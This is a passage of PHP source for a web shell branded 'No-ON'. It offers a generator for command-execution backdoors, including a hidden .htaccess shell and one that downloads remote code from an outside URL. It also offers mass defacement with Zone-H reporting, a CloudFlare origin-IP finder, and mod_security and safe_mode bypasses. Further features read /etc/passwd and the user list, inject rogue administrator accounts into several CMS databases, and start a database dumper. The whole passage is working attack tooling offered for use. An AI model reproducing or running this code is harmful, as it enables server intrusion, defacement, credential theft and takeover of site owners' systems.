curl_setopt($curl,CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($curl,CURLOPT_TIMEOUT, 120);
curl_setopt($curl,CURLOPT_POST,TRUE);
curl_setopt($curl,CURLOPT_POSTFIELDS, $postVars);
$a = curl_exec($curl);
curl_close($curl);
}
echo "<pre style=\"margin-top:5px\"><br><center><font color
=\"#00A220\"><b>Sending Sites To Zone-H Has Been Completed Successfully !!!
</b><font></center>";

?>
</div>

<?php
}

if($action=="cloudflare"){
?>
<br>
<center>
<b>Cloud Flare Bypasser</b>
<form action="?action=cloudflare&dir=<?php echo htmlspecialchars($path);?>"
method="post">
<p><br><input type='text' size=30 name='url' placeholder="Site.com">
<input type='submit' name='submit' value='>>' />
</p>
</form>
</center>

<?php

if(isset($_POST['submit']) && $_POST['submit'] == '>>' &&


isset($_POST['url']) && !empty($_POST['url'])){
function is_ipv4($ip)
{
return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) ? $ip :
'(Null)';
}
function getipCloudFlare($url){
$url = "http://www.cloudflare-watch.org/cgi-bin/cfsearch.cgi";
$login_data = "cfS=$url";
$login = curl_init();
curl_setopt($login, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1;
WOW64; rv:26.0) Gecko/20100101 Firefox/26.0');
curl_setopt($login, CURLOPT_TIMEOUT, 40);
curl_setopt($login, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($login, CURLOPT_URL, $url);
curl_setopt($login, CURLOPT_HEADER, 1);
curl_setopt($login, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($login, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($login, CURLOPT_POST, 1);
curl_setopt($login, CURLOPT_POSTFIELDS, $login_data);
$content= curl_exec($login);
if (preg_match("/<UL><LI>(.*?)<\/UL>/",$content,$find)){
return $find[1];
}
else {
return 'Error';
}
curl_close($login);
}
$me = $argv[0];
$url = $_POST['url'];
if(!preg_match('/^(https?):\/\/(w{3}|w3)\./i', $url)){
$url = preg_replace('/^(https?):\/\//', '', $url);
$url = "http://www.".$url;
}
$headers = get_headers($url, 1);
$server = $headers['Server'];
$subs = array('cpanel.', 'ftp.', 'server1.', 'cdn.', 'cdn2.', 'ns.',
'ns1.', 'mail.', 'webmail.', 'direct.', 'direct-connect.', 'record.', 'ssl.',
'dns.', 'help.', 'blog.', 'irc.', 'forum.');
$count = count($subs);
if(preg_match('/^(https?):\/\/(w{3}|w3)\./i', $url, $matches))
{
if($matches[2] != 'www')
{
$url = preg_replace('/^(https?):\/\//', '', $url);
}
else
{
$url = explode($matches[0], $url);
$url = $url[1];
}
}
if(is_array($server))
$server = $server[0];
echo '<pre style="border:2px solid #CE3F3F;padding:5px;margin:0;overflow:
auto;"><br/>';
if(preg_match('/cloudflare/i', $server))
echo "\n[+] CloudFlare detected: {$server}\n<br>";
else
echo "\n[+] CloudFlare wasn't detected, proceeding anyway.\n";
echo '[+] CloudFlare IP: ' . is_ipv4(gethostbyname($url)) . "\n\n<br><br>";
echo "[+] Searching for more IP addresses.\n\n<br><br>";
for($x = 0; $x < $count; $x++)
{
$site = $subs[$x] . $url;
$ip = is_ipv4(gethostbyname($site));
if($ip == '(Null)')
continue;
echo "Trying {$site}: {$ip}\n<br>";
}
echo "\n[+] Finished.\n<br>";
}
}

if($action=="backdoor"){
echo "<style>#backdoor{background: #A81F1F}</style>";

?>

<br />
<div class="body">

<?php

$list = '<ul class="backdoor">';

if ( !isset($_GET["bd"]) || $_GET["bd"]!=="up" )
{
$list .= "<a href=\"?action=backdoor&bd=up&dir=$path\"><li>Upload From
Computer Backdoors</li></a>";
} else {
$list .= '<li><span>Upload From Computer Backdoors</span></li>';
}

if( !isset($_GET["bd"]) || $_GET["bd"]!=="ur" )


{
$list .= "<a href=\"?action=backdoor&bd=ur&dir=$path\"><li>Upload From URL
Backdoors</li></a>";
} else {
$list .= '<li><span>Upload From URL Backdoors</span></li>';
}

if( !isset($_GET["bd"]) || $_GET["bd"]!=="ht" )


{
$list .= "<a href=\"?action=backdoor&bd=ht&dir=$path\"><li>htaccess Hidden
Shell Backdoor</li></a>";
} else {
$list .= '<li><span>htaccess Hidden Shell Backdoor</span></li>';
}

if ( !isset($_GET["bd"]) || $_GET["bd"]!=="cs" )
{
$list .= "<a href=\"?action=backdoor&bd=cs&dir=$path\"><li>CMD shell
Backdoor</li></a>";
} else {
$list .= '<li><span>CMD shell Backdoor</span></li>';
}

echo $list.'</ul>';

?>

<hr />
<br />
<?php

if(isset($_GET["bd"])){

$bd = $_GET["bd"];

if($bd=="up"){

echo "<form method=\"post\" action=\"?


action=backdoor&submit=get&go=up&dir=$path\"><span>Enter Filename create backdoor:
</span><br /><input type=\"text\" name=\"filename\"><input type=\"submit\"
value=\"Get Backdoor\"></form>";
?>
<br />
<b><span>Note: This Just Make an uploader not hidden.</span></b>
<?php
}

if($bd=="ur"){

echo "<form method=\"post\" action=\"?


action=backdoor&submit=get&go=ur&dir=$path\"><span>Enter Filename to add backdoor:
</span><br /><input type=\"text\" name=\"filename\"><input type=\"submit\"
value=\"Get Backdoor\"></form>";
?>
<br />
<b><span>How to use ?</span></b>
<p>to use : "site.com/[path]/[file].php?cmd=shell"</p>
<?php

}
if($bd=="cs"){

echo "<form method=\"post\" action=\"?


action=backdoor&submit=get&go=cs&dir=$path\"><span>Enter Filename to add backdoor:
</span><br /><input type=\"text\" name=\"filename\"><input type=\"submit\"
value=\"Get Backdoor\"></form>";
?>
<br />
<b><span>How to use ?</span></b>
<p>to use : "site.com/[path]/[file].php?cmd=[command]"</p>
<?php
}

if($bd=="ht"){

echo "<form method=\"post\" action=\"?


action=backdoor&submit=get&go=ht&dir=$path\"><input type=\"submit\" value=\"Get
htaccess Backdoor\"></form>";

?>
<br />
<b><span>How to use ?</span></b>
<p>to use : "site.com/[path]/.htaccess?cmd=[command]"</p>
<?php

if(isset($_GET["action"]) && $_GET["action"]=="backdoor" &&


isset($_GET["submit"])=="get" && isset($_GET["go"]) && $_GET["go"]!=""){

$action=htmlspecialchars($_GET["go"]);

if($action=="up"){

$code='<?php
if (isset($_FILES["userfile"])) {
$dir=$_POST["dir"];
if($dir == "" || !isset($dir)) $dir=getcwd();

$uploadfile=$dir."/".basename($_FILES["userfile"]["name"]);

if (move_uploaded_file($_FILES["userfile"]["tmp_name"],$uploadfile)) {
echo "Uploaded: ".
"Name: ".$_FILES["userfile"]["name"]."<br>\n".
"Type: ".$_FILES["userfile"]["type"]."<br>\n".
"Size: ".$_FILES["userfile"]["size"]." bytes<br>\n";
}
else print "Error uploading file: ".$_FILES["userfile"]["name"]."";
echo "<hr>";
}
?>

<form enctype="multipart/form-data" method="POST">


Upload New File
<br /><input type="file" name="userfile"/>
<br /><input type="submit" value="Upload"/>
</form>';
$filename = htmlspecialchars($_POST["filename"]);
$fp=fopen($filename,'a');
$res = fwrite($fp , $code);
fclose($fp);

if($res){

echo "<span style='color:green'>ok</span>";


}else{
echo "<span style='color:red'>cant write</span>";
}
}

if($action=="ur"){

$code = '<?php
//No-ON
if(isset($_GET["cmd"]) && $_GET["cmd"]=="shell"){
if(file_put_contents("ash.php",
file_get_contents("http://www.vanseveren.be/ftp/Technische fiches THV/Ingescande
technische fiches THV/test.txt"))){
echo "OK";
} else {
echo "File Cant Be Create";
}
}
//No-ON
?>';
$filename = htmlspecialchars($_POST["filename"]);

$fp=fopen($filename,'a');
$res = fwrite($fp , $code);
fclose($fp);

if($res){

echo "<span style='color:green'>ok</span>";


}else{
echo "<span style='color:red'>cant be write</span>";
}
}

if($action=="ht"){

$code = '<Files ~ "^\.ht">


Order allow,deny
Allow from all
</Files>
AddType application/x-httpd-php .htaccess
# <?php passthru($_GET["cmd"]); ?>';

$filename = ".htaccess";
$fp=fopen($filename,'a');
$res = fwrite($fp , $code);
fclose($fp);

if($res){
echo "<span style='color:green'>ok</span>";
}else{
echo "<span style='color:red'>cant be write</span>";
}

}
if($action=="cs"){

$code = '<?php passthru($_GET["cmd"]); ?>';

$filename = htmlspecialchars($_POST["filename"]);
$fp=fopen($filename,'a');
$res = fwrite($fp , $code);
fclose($fp);

if($res){

echo "<span style='color:green'>ok</span>";


}else{
echo "<span style='color:red'>cant be write</span>";
}

?>
</div>

<?php
}

if($action=="mass"){
?>

<br />

Mass Defacement:</td><br>
<form action='?action=mass&submit=mass&dir=<?php echo $path ?>' method='post'>
Directory: <input type='text' style='width: 700px' value='<?php echo getcwd() .
"/"; ?>' name='massdefacedir'>
<br/>Url Deface Deface Page <input type='text' style='width: 675px'
name='massdefaceurl' value=''>
<br/>Name File <input type='text' style='width: 735px' name='filename' value='No-
ON.html'>
<input type='submit' name='execmassdeface' value='Kill It'></form></td>

<?php

if(isset($_REQUEST['submit']) && $_REQUEST['submit']=="mass"){


echo "<br><span style='margin-left:0px'>Results: </span><br><center><textarea
placeholder='Results will be here..' rows='15' cols='100'>";
$defaceurl = htmlspecialchars($_POST['massdefaceurl']);
$dir = htmlspecialchars($_POST['massdefacedir']);
$filename = htmlspecialchars($_POST['filename']);
echo $dir."\n";
if (is_dir($dir)) {
if ($dh = opendir($dir)) {
while (($file = readdir($dh)) !== false) {
if(filetype($dir.$file)=="dir"){
$newfile=$dir.$file."/".$filename;
echo $newfile."\n";
if (!copy($defaceurl, $newfile)) {
echo "failed to copy $file...\n";
}
}
}
closedir($dh);
}
}
echo "</textarea></center>";
}
?>

<?php
}

if($action=="disfunc"){
?>
<br />
<center>
<table>
<tr><td>
<form action="?action=disfunc&submit=bypass&bypass=apache&dir=<?php echo
$path ?>" method="post">
<input type="submit" value="htaccess apache" />
</form>

</td><td>

<form action="?action=disfunc&submit=bypass&bypass=litespeed&dir=<?php
echo $path ?>" method="post">
<input type="submit" value="htaccess litespeed" />
</form>
</td><td>
<form action="?action=disfunc&submit=bypass&bypass=phpini&dir=<?php echo
$path ?>" method="post">
<input type="submit" value="php.ini" />
</form>
</td>
<td>
<form action="?action=disfunc&submit=bypass&bypass=etcpasswd&dir=<?php
echo $path ?>" method="post">
<input type="submit" value="Read etc/passwd" />
</form>

</td>
<td>
<form action="?action=disfunc&submit=bypass&bypass=readusers&dir=<?php
echo $path ?>" method="post">
<input type="submit" value="Read Users" />
</form>

</td></tr>
</table>
</center>
<?php

if(isset($_REQUEST['submit']) && $_REQUEST['submit']=="bypass"){

$bypass = $_REQUEST['bypass'];

if($bypass=="apache"){
?>

<?php
$fil=fopen($path."/".".htaccess","w");
fwrite($fil,'#Generated By No-ON
<IfModule mod_security.c>
Sec------Engine Off
Sec------ScanPOST Off
</IfModule>');
fclose($fil);
echo '<script>alert("htaccess for Apache is created...!")</script>';

?>
<?php
} elseif($bypass=="phpini"){
?>
<?php
$fil=fopen($path."/"."php.ini","w");
fwrite($fil,'safe_mode=OFF
disable_functions=ByPass By No-ON');
fclose($fil);
$file2=fopen($path."/"."ini.php","w");
fwrite($file2,'<?
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include($_GET["file"]);
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include($_GET["ss"]);
?>');
fclose($file2);
echo '<script>alert("php.ini && ini.php is created...!")</script>';
?>

}<?php

} elseif($bypass=="litespeed"){
?>
<?php
$fil=fopen($path."/".".htaccess","w");
fwrite($fil,'#Generated By No-ON
<Files *.php>
ForceType application/x-httpd-php4
</Files>
ahm tas: <IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
</IfModule>');
fclose($fil);
echo '<script>alert("htaccess for Litespeed is created...!")</script>';
?>
<?php

} elseif($bypass=="etcpasswd"){
echo '<br><pre style="border:2px solid
#CE3F3F;padding:5px;margin:0;overflow: auto;">';
if(function_exists("system") || function_exists("exec") ||
function_exists("passthru") || function_exists("shell_exec")){
echo extension("cat /etc/passwd");
}
elseif(function_exists("file_get_contents") && is_readable("/etc/passwd")){
echo file_get_contents("/etc/passwd");
}
elseif(function_exists("posix_getpwuid")){
for($uid=0;$uid<60000;$uid++){
$ara = @posix_getpwuid($uid);
if (!empty($ara)) {
while (list ($key, $val) = each($ara)){
print "$val:";
}print "\n";}}
} else{echo '<script>alert("Error in bypass...")</script>';}
} elseif($bypass=="readusers"){
if(!@file_exists("/etc/virtual/domainowners")){
echo '<br><pre style="border:2px solid
#CE3F3F;padding:5px;margin:0;overflow: auto;">';
$i = 0;
while ($i < 60000) {
$line = posix_getpwuid($i);
if (!empty($line)) {
while (list ($key, $vl) = each($line)){
echo $vl."\n";
break;}}$i++;}
}else{echo '<pre style="border:2px solid
#CE3F3F;padding:5px;margin:0;overflow: auto;"><br>';
$users = @file("/etc/virtual/domainowners");
foreach($users as $boz){
$user = explode(":",$boz);
echo trim($user[1]).'<br>';}}
}
}

?>

<?php
}

if($action=="info"){
?>

<br />
<?php
echo '<div class=phpinfo><style>.p {color:#000;}</style>';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2, hr) {.*}!msiU','',$tmp);
$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
echo str_replace('<h1','<h2', $tmp) .'</div><br>';
?>

<?php
}
if($action=="rmshell"){
echo "<style>#rmshell{background: #A81F1F}</style>";

?>

<form action="?action=rmshell" method="post">


<span>Do You Really Want To Remove Sheller?</span>
<input type="submit" value="Yes" name="accept" style="cursor:
pointer"/>
<input type="button" value="No" onclick="window.location.href='?
action=explorer'" style="cursor: pointer"/>
</form>

<?php
if(isset($_POST['accept']) && $_POST['accept'] != "" &&
$_POST['accept']=="Yes"){

if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))


die('<b>Sheller has been removed</i> :)</b>');
else
echo 'unlink error!';

if($action=="pwchanger"){

?>
<center>
<br>
<div class="pwchanger">
<a href="?action=pwchanger&cms=wp"><input type="button" value="Wordpress"></a>
<a href="?action=pwchanger&cms=joomla"><input type="button" value="Joomla"></a>
<a href="?action=pwchanger&cms=vb"><input type="button" value="vBulletin"></a>
<a href="?action=pwchanger&cms=whmcs"><input type="button" value="WHMCS"></a>
<a href="?action=pwchanger&cms=mybb"><input type="button" value="MyBB"></a>
<a href="?action=pwchanger&cms=phpbb"><input type="button" value="phpBB"></a>
<a href="?action=pwchanger&cms=phpnuke"><input type="button" value="phpNuke"></a>
</div>
</center>
<?php

if(isset($_GET['cms']) && $_GET['cms']!=""){


$cms=$_GET['cms'];
if($cms=="wp"){
?>
<br>
<b>ADD NEW ADMIN WORDPRESS</b>
<form action="?action=pwchanger&cms=wp" method="POST">
<table>
<tr><td>Host :</td>
<td><input size="30" value="localhost" name="localhost" type="text"></td></tr>
<tr><td>Database :</td>
<td> <input size="30" value="" name="database" type="text"></td></tr>
<tr><td>Table Prefix :</td>
<td><input size="30" value="wp_" name="prefix" type="text"></td></tr>
<tr><td>Username : </td>
<td> <input size="30" value="" name="username" type="text"></td></tr>
<tr><td>Password :</td>
<td> <input size="30" value="" name="password" type="text"></td></tr>
<tr><td>Admin Username:</td>
<td><input name="admin" size="30" value="admin"></td></tr>
<tr><td>Admin Password: </td>
<td><input name="pass" size="30" value="a" disabled /></td></tr>
<tr><td><Admin Email:</td>
<td><input name="email" size="30" value="g"></td></tr>
</table>
<input value="Change" name="submit" type="submit">
</form>

<?php

if (isset($_POST['submit']) && $_POST['submit'] == 'Change'){

$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$admin = $_POST['admin'];
$email = $_POST['email'];
$prefix = $_POST['prefix'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$result=@mysql_query("insert into ".$prefix."users
(ID,user_login,user_pass,user_email)
values(null,'$admin','dfcaf717b6731a6f62baabad524a8517','$email')") or
die(mysql_error());
$result=@mysql_query("select ID from ".$prefix."users where
user_login='".$admin."'") or die(mysql_error());
$res = mysql_num_rows($result);
if ($res == 1){
$resvis = mysql_fetch_assoc($result);
$res = $resvis['ID'];
}
$result=@mysql_query("insert into ".$prefix."usermeta
(umeta_id,user_id,meta_key,meta_value) values(null,'".
$res."','first_name','result')") or die(mysql_error());
$result=@mysql_query("insert into ".$prefix."usermeta
(umeta_id,user_id,meta_key,meta_value) values(null,'".
$res."','last_name','result')") or die(mysql_error());
$result=@mysql_query("insert into ".$prefix."usermeta
(umeta_id,user_id,meta_key,meta_value) values(null,'".
$res."','nickname','result')") or die(mysql_error());
$result=@mysql_query("insert into ".$prefix."usermeta
(umeta_id,user_id,meta_key,meta_value) values(null,'".
$res."','description','result')") or die(mysql_error());
$result=@mysql_query("insert into ".$prefix."usermeta
(umeta_id,user_id,meta_key,meta_value) values(null,'".
$res."','rich_editing','true')") or die(mysql_error());
$result=@mysql_query("insert into ".$prefix."usermeta
(umeta_id,user_id,meta_key,meta_value) values(null,'".
$res."','comment_shortcuts','false')") or die(mysql_error());
$result=@mysql_query("insert into ".$prefix."usermeta
(umeta_id,user_id,meta_key,meta_value) values(null,'".
$res."','admin_color','fresh')") or die(mysql_error());
$result=@mysql_query("insert into ".$prefix."usermeta
(umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','use_ssl','0')") or
die(mysql_error());
$result=@mysql_query("insert into ".$prefix."usermeta
(umeta_id,user_id,meta_key,meta_value) values(null,'".
$res."','show_admin_bar_front','true')") or die(mysql_error());
$result=@mysql_query("insert into ".$prefix."usermeta
(umeta_id,user_id,meta_key,meta_value) values(null,'".
$res."','wp_capabilities','a:1:{s:13:\"administrator\";b:1;}')") or
die(mysql_error());
$result=@mysql_query("insert into ".$prefix."usermeta
(umeta_id,user_id,meta_key,meta_value) values(null,'".
$res."','wp_user_level','10')") or die(mysql_error());
$result=@mysql_query("insert into ".$prefix."usermeta
(umeta_id,user_id,meta_key,meta_value) values(null,'".
$res."','dismissed_wp_pointers','wp330_toolbar,wp330_saving_widgets,wp340_choose_im
age_from_library,wp340_customize_current_theme_link,wp350_media')") or
die(mysql_error());
$result=@mysql_query("insert into ".$prefix."usermeta
(umeta_id,user_id,meta_key,meta_value) values(null,'".
$res."','show_welcome_panel','1')") or die(mysql_error());
$result=@mysql_query("insert into ".$prefix."usermeta
(umeta_id,user_id,meta_key,meta_value) values(null,'".
$res."','wp_dashboard_quick_press_last_post_id','3')") or die(mysql_error());
if($result){
echo "<center><br><b><script>alert('".$admin." is created
successfully.')</script></b></center> ";
}

if($cms=="joomla"){
?>
<br>
<b>ADD NEW ADMIN JOOMLA</b>
<form action="?action=pwchanger&cms=joomla" method="POST">
<table>
<tr><td>Host :</td>
<td><input size="30" value="localhost" name="localhost" type="text"></td></tr>
<tr><td>Database :</td>
<td> <input size="30" value="" name="database" type="text"></td></tr>
<tr><td>Table Prefix :</td>
<td><input size="30" value="jos_" name="prefix" type="text"></td></tr>
<tr><td>Username : </td>
<td> <input size="30" value="" name="username" type="text"></td></tr>
<tr><td>Password :</td>
<td> <input size="30" value="" name="password" type="text"></td></tr>
<tr><td>Admin Username:</td>
<td><input name="admin" size="30" value="admin"></td></tr>
<tr><td>Admin Password: </td>
<td><input name="pass" size="30" value="ashiyane" disabled /></td></tr>
<tr><td>Admin Email:</td>
<td><input name="email" size="30" value="info@ashiyane.ir"></td></tr>
</table>
<input value="Change" name="submit" type="submit">
</form>

<?php
if (isset($_POST['submit']) && $_POST['submit'] == 'Change'){

$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$admin = $_POST['admin'];
$email = $_POST['email'];
$prefix = $_POST['prefix'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$result=@mysql_query("insert into ".$prefix."users
(id,name,username,email,password) values(null,'Super User','".$admin."','".
$email."','dfcaf717b6731a6f62baabad524a8517')") or die(mysql_error());
$result=@mysql_query("select id from ".$prefix."users where
username='".$admin."'") or die(mysql_error());
$res = mysql_num_rows($result);
if ($res == 1){
$resvis = mysql_fetch_assoc($result);
$res = $resvis['id'];
}
$result=@mysql_query("INSERT INTO ".$prefix."user_usergroup_map
(user_id,group_id) VALUES ('".$res."', '8')") or die(mysql_error());
if($result){
echo "<center><br><b><script>alert('".$admin." is created
successfully.')</script></b></center> "; }

if($cms=="vb"){
?>
<br>
<b>ADD NEW ADMIN VBULLETIN</b>
<form action="?action=pwchanger&cms=vb" method="POST">
<table>
<tr><td>Host :</td>
<td><input size="30" value="localhost" name="localhost" type="text"></td></tr>
<tr><td>Database :</td>
<td> <input size="30" value="" name="database" type="text"></td></tr>
<tr><td>Table Prefix :</td>
<td><input size="30" value="" name="prefix" type="text"></td></tr>
<tr><td>Username : </td>
<td> <input size="30" value="" name="username" type="text"></td></tr>
<tr><td>Password :</td>
<td> <input size="30" value="" name="password" type="text"></td></tr>
<tr><td>Admin Username:</td>
<td><input name="admin" size="30" value="admin"></td></tr>
<tr><td>Admin Password: </td>
<td><input name="pass" size="30" value="ashiyane" disabled /></td></tr>
<tr><td>Admin Email:</td>
<td><input name="email" size="30" value="info@ashiyane.ir"></td></tr>
</table>
<input value="Change" name="submit" type="submit">
</form>
<?php
if (isset($_POST['submit']) && $_POST['submit'] == 'Change'){

$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$admin = $_POST['admin'];
$email = $_POST['email'];
$prefix = $_POST['prefix'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());

$result=@mysql_query("insert into {$prefix}user


(userid,usergroupid,username,password,salt,email)
values(null,'6','$admin','efacb3b2c13f0363459bffe5d6f30631','Xw|IbGLhTQA-
AwApVv>61y^(z]*<QN','$email')") or die(mysql_error());
$result=@mysql_query("select userid from {$prefix}user where
username='".$admin."'") or die(mysql_error());
$res = mysql_num_rows($result);
if ($res == 1){
$resvis = mysql_fetch_assoc($result);
$res = $resvis['userid'];
}
$result=@mysql_query("insert into {$prefix}administrator
(userid,adminpermissions) values('".$res."','16744444')") or die(mysql_error());
if($result){
echo "<center><br><b><script>alert('".$admin." is created
successfully.')</script></b></center> "; }
}
}

if($cms=="phpbb"){
?>
<br>
<b>ADD NEW ADMIN PHPBB</b>
<form action="?action=pwchanger&cms=phpbb" method="POST">
<table>
<tr><td>Host :</td>
<td><input size="30" value="localhost" name="localhost" type="text"></td></tr>
<tr><td>Database :</td>
<td> <input size="30" value="" name="database" type="text"></td></tr>
<tr><td>Table Prefix :</td>
<td><input size="30" value="" name="prefix" type="text"></td></tr>
<tr><td>Username : </td>
<td> <input size="30" value="" name="username" type="text"></td></tr>
<tr><td>Password :</td>
<td> <input size="30" value="" name="password" type="text"></td></tr>
<tr><td>Admin Username:</td>
<td><input name="admin" size="30" value="admin"></td></tr>
<tr><td>Admin Password: </td>
<td><input name="pass" size="30" value="ashiyane" disabled /></td></tr>
<tr><td>Admin Email:</td>
<td><input name="email" size="30" value="info@ashiyane.ir"></td></tr>
</table>
<input value="Change" name="submit" type="submit">
</form>

<?php
if (isset($_POST['submit']) && $_POST['submit'] == 'Change'){

$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$admin = $_POST['admin'];
$pass = $_POST['pass'];
$email = $_POST['email'];
$prefix = $_POST['prefix'];
$hash = md5($pass);
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$result=@mysql_query("UPDATE ".$prefix."users SET username_clean
='".$admin."' WHERE username_clean = 'admin'") or die(mysql_error());
$result=@mysql_query("UPDATE ".$prefix."users SET user_password ='".
$hash."' WHERE username_clean = 'admin'") or die(mysql_error());
$result=@mysql_query("UPDATE ".$prefix."users SET username_clean ='".
$admin."' WHERE user_type = 3") or die(mysql_error());
$result=@mysql_query("UPDATE ".$prefix."users SET user_password ='".
$hash."' WHERE user_type = 3") or die(mysql_error());
$result=@mysql_query("UPDATE ".$prefix."users SET user_email ='".
$SQL."' WHERE username_clean = 'admin'") or die(mysql_error());
if($result){
echo "<center><br><b><script>alert('".$admin." is created
successfully.')</script></b></center> ";
}

}
}

if($cms=="whmcs"){

?>
<br>
<b>ADD NEW ADMIN WHMCS</b>
<form action="?action=pwchanger&cms=whmcs" method="POST">
<table>
<tr><td>Host :</td>
<td><input size="30" value="localhost" name="localhost" type="text"></td></tr>
<tr><td>Database :</td>
<td> <input size="30" value="" name="database" type="text"></td></tr>
<tr><td>Username : </td>
<td> <input size="30" value="" name="username" type="text"></td></tr>
<tr><td>Password :</td>
<td> <input size="30" value="" name="password" type="text"></td></tr>
<tr><td>Admin Username:</td>
<td><input name="admin" size="30" value="admin"></td></tr>
<tr><td>Admin Password: </td>
<td><input name="pass" size="30" value="ashiyane" disabled /></td></tr>
<tr><td>Admin Email:</td>
<td><input name="email" size="30" value="info@ashiyane.ir"></td></tr>
</table>
<input value="Change" name="submit" type="submit">
</form>

<?php
if (isset($_POST['submit']) && $_POST['submit'] == 'Change'){

$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$admin = $_POST['admin'];
$email = $_POST['email'];

@mysql_connect($localhost,$username,$password) or
die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$result=@mysql_query("insert into tbladmins
(id,roleid,username,password,email,template,homewidgets) values(null,'1','".
$admin."','dfcaf717b6731a6f62baabad524a8517','".
$email."','blend','getting_started:true,orders_overview:true,supporttickets_overvie
w:true,my_notes:true,client_activity:true,open_invoices:true,activity_log:true|
income_overview:true,system_overview:true,whmcs_news:true,sysinfo:true,admin_activi
ty:true,todo_list:true,network_status:true,income_forecast:true|')") or
die(mysql_error());
if($result){
echo "<center><br><b><script>alert('".$admin." is created
successfully.')</script></b></center> ";
}

if($cms=="mybb"){

?>
<br>
<b>ADD NEW ADMIN MYBB</b>
<form action="?action=pwchanger&cms=mybb" method="POST">
<table>
<tr><td>Host :</td>
<td><input size="30" value="localhost" name="localhost" type="text"></td></tr>
<tr><td>Database :</td>
<td> <input size="30" value="" name="database" type="text"></td></tr>
<tr><td>Table Prefix :</td>
<td><input size="30" value="" name="prefix" type="text"></td></tr>
<tr><td>Username : </td>
<td> <input size="30" value="" name="username" type="text"></td></tr>
<tr><td>Password :</td>
<td> <input size="30" value="" name="password" type="text"></td></tr>
<tr><td>Admin Username:</td>
<td><input name="admin" size="30" value="admin"></td></tr>
<tr><td>Admin Password: </td>
<td><input name="pass" size="30" value="ashiyane" disabled /></td></tr>
<tr><td>Admin Email:</td>
<td><input name="email" size="30" value="info@ashiyane.ir"></td></tr>
</table>
<input value="Change" name="submit" type="submit">
</form>

<?php

if (isset($_POST['submit']) && $_POST['submit'] == 'Change'){

$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$admin = $_POST['admin'];
$email = $_POST['email'];
$prefix = $_POST['prefix'];
@mysql_connect($localhost,$username,$password) or
die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$result=@mysql_query("insert into ".$prefix."users
(uid,username,password,salt,email,usergroup) values(null,'".
$admin."','c93bfab2a4d210f8cbf8bc0fcfbba67b','ywza68lS','".$email."','4')") or
die(mysql_error());
if($result){
echo "<center><br><b><script>alert('".$admin." is created
successfully.')</script></b></center> ";
}
}
}

if($cms=="phpnuke"){

?>
<br>
<b>ADD NEW ADMIN PHP NUKE</b>
<form action="?action=pwchanger&cms=phpnuke" method="POST">
<table>
<tr><td>Host :</td>
<td><input size="30" value="localhost" name="localhost" type="text"></td></tr>
<tr><td>Database :</td>
<td> <input size="30" value="" name="database" type="text"></td></tr>
<tr><td>Table Prefix :</td>
<td><input size="30" value="" name="prefix" type="text"></td></tr>
<tr><td>Username : </td>
<td> <input size="30" value="" name="username" type="text"></td></tr>
<tr><td>Password :</td>
<td> <input size="30" value="" name="password" type="text"></td></tr>
<tr><td>Admin Username:</td>
<td><input name="admin" size="30" value="admin"></td></tr>
<tr><td>Admin Password: </td>
<td><input name="pass" size="30" value="ashiyane" disabled /></td></tr>
<tr><td>Admin Email:</td>
<td><input name="email" size="30" value="info@ashiyane.ir"></td></tr>
</table>
<input value="Change" name="submit" type="submit">
</form>

<?php
if (isset($_POST['submit']) && $_POST['submit'] == 'Change'){
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$admin = $_POST['admin'];
$email = $_POST['email'];
$prefix = $_POST['prefix'];
@mysql_connect($localhost,$username,$password) or
die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
@mysql_connect($localhost,$username,$password) or
die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$result=@mysql_query("insert into
".prefix."_authors(aid,name,email,pwd)
values('$admin','God','$email','dfcaf717b6731a6f62baabad524a8517')") or
die(mysql_error());
if($result){
echo "<center><br><b><script>alert('".$admin." is created
successfully.')</script></b></center> ";
}
}

}
}
}

//sql connector ~ by Mast3r 0mid


if($action=="sql"){
echo "<style>#sql{background: #A81F1F}</style>";

$pwd = realpath(".")."\\";
function backup_tables($host,$user,$pass,$name,$tables = '*')
{

$link = mysql_connect($host,$user,$pass);
mysql_select_db($name,$link);

//get all of the tables


if($tables == '*')
{
$tables = array();
$result = mysql_query('SHOW TABLES');
while($row = mysql_fetch_row($result))
{
$tables[] = $row[0];
}
}
else
{
$tables = is_array($tables) ? $tables : explode(',',$tables);
}

//cycle through
foreach($tables as $table)
{
$result = mysql_query('SELECT * FROM '.$table);
$num_fields = mysql_num_fields($result);

$return= 'DROP TABLE '.$table.';';


$row2 = mysql_fetch_row(mysql_query('SHOW CREATE TABLE '.$table));
$return.= "\n\n".$row2[1].";\n\n";

